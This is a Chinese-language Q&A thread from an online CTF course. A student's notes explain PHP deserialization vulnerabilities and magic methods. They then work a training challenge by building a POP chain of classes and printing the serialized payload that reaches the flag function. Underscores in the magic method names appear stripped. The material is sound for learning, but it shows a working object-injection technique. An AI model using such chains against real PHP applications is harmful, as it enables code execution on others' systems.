首页
社区
课程
招聘
操作不完整

问题描述

,没讲反序列在页面中怎么操作

问题出现的环境背景及自己尝试过哪些方法

相关代码

粘贴代码文本(请勿用截图)

相关调试信息

附图或描述

你期待的结果是什么?实际看到的错误信息又是什么?

收藏
5条回答
Editor 2023-9-15

这节还是有些难的,讲师将思路全部讲了,实操得自己去摸索一下,这样才能理解的更深刻。也希望其他人,将研究心得发在笔记里分享出来。

回复
Spider_008 2023-9-20

笔记如下:

PHP反序列化漏洞分析与实操讲解

简介

● 序列化(serialize()):将PHP对象压缩并按照一定格式转换成宇符串过程
● 反序列化(unserialize()):从宇符串转换回PHP对象的过程
● 目的:为了方便PHP对象的传输和存储

联想到电脑(diy)的栗子

案例1

 

● PS:主要用于对象的持久化(将对象保存到磁盘上以便以后读取)或在不同系统之间传输对象。

序列化实例



反序列化攻击概述

  • unserialize接收的参数用户可控,传入构造的字符串,实现攻击
    • 只序列化属性、不序列化方法
      • 属性名属性值访问控制权限都存在,但是方法消失
  • 要寻找合适的能被我们控制的属性,利用本身存在的方法

魔术方法

● 以 开头
● (1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
● (2)wakeup()unserialize()时会自动调用. 当对象所包含的属性数<->不一致
● (3)destruct():当对象被销毁时会自动调用。
● (4)toString(): 当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__construct()

 

__destruct()

 

__sleep()

 

__wakeup()

 

__toString()

 

__invoke()

 

__call()

 

反序列化 中常用的魔术方法

 

wakeup() //使用 unserialize 时触发 sleep() //使用 serialize 时触发
destruct() //对象被销毁时触发 call() //在对象上下文中调用不可访问的方法时触发
callstatic () //在静态上下文中调用不可访问的方法时触发 construct()//当对象被创建(new)时会自动调用
get() //用于从不可访问的属性读取数据 set () //用于将数据写入不可访问的属性
isset () //在不可访问的属性上调用 isset ()或 empty() 时触发 unset () //在不可访问的属性上使用 unset () 时触发
tostring() //把类当作字符串使用时触发 invoke () //当脚本尝试将对象调用为函数时触发

 

反序列化攻击样例

 

Aurora 对象的$test 变量为一个Evil 对象
Evil对象中的$test2变量为我们想要执行的系统命令
Aurora对象销毁时,调用destruct魔法函数,进而调用Evilaction函数,进而执行$test2中我们想要执行的系统命令
● 生成Payload

Review



实战分析

● 靶机环境 CTF30小时训练营 实践题目
根据Review提示构造payload
● step
○ 1.查看代码逻辑;
○ 2.根据代码逻辑构造payload;

 

class allstart
{
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func1();
}
public function
destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func2();
}
public function test1()
{
$this->var1->test2();
}
}
class func2
{
//step3: func2->
call()->在对象上下⽂中调⽤不可访问的⽅法时触发
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func3();
}
public function
call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
//step3:func3->invoke()->concat string
public $var1;
public $var2;
public function
construct()
{
$this->var1 = new func4();
}
// 尝试将对象调⽤为函数时触发
public function invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
// step2:func4->
tostring()->get_flag()
public $str1;
public $str2;
public function construct()
{
$this->str1 = new toget();
}
public function
toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
// step1: get_flag()
public function get_flag()
{

1
2
        ##echo "flag{***}";
}

}
$a=new allstart();
echo serialize($a);

 

O:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}

总结

WebPHP反序列化漏洞分析能力得到提高。

回复
mb_njatsyxb: 谢谢同学这么细致的笔记,理解了,那获得了序列化后,怎么获取flag呢?
回复 2023-9-21
Spider_008 2023-9-20

mark

回复
mb_xqobfuba 2024-2-22

大家序列化之后贴到地址栏那里就行了

回复
mb_yazpxvld 2024-3-4

mark

回复
《30小时教你玩转CTF》
  参与学习     492 人
  提问次数     53 个
《30小时教你玩转CTF》;顶尖讲师团队亲授,教你深入浅出学攻防;每周一、周四更新
我的问答 领取收益
0
我的提问
0
我的回答
0
学习收益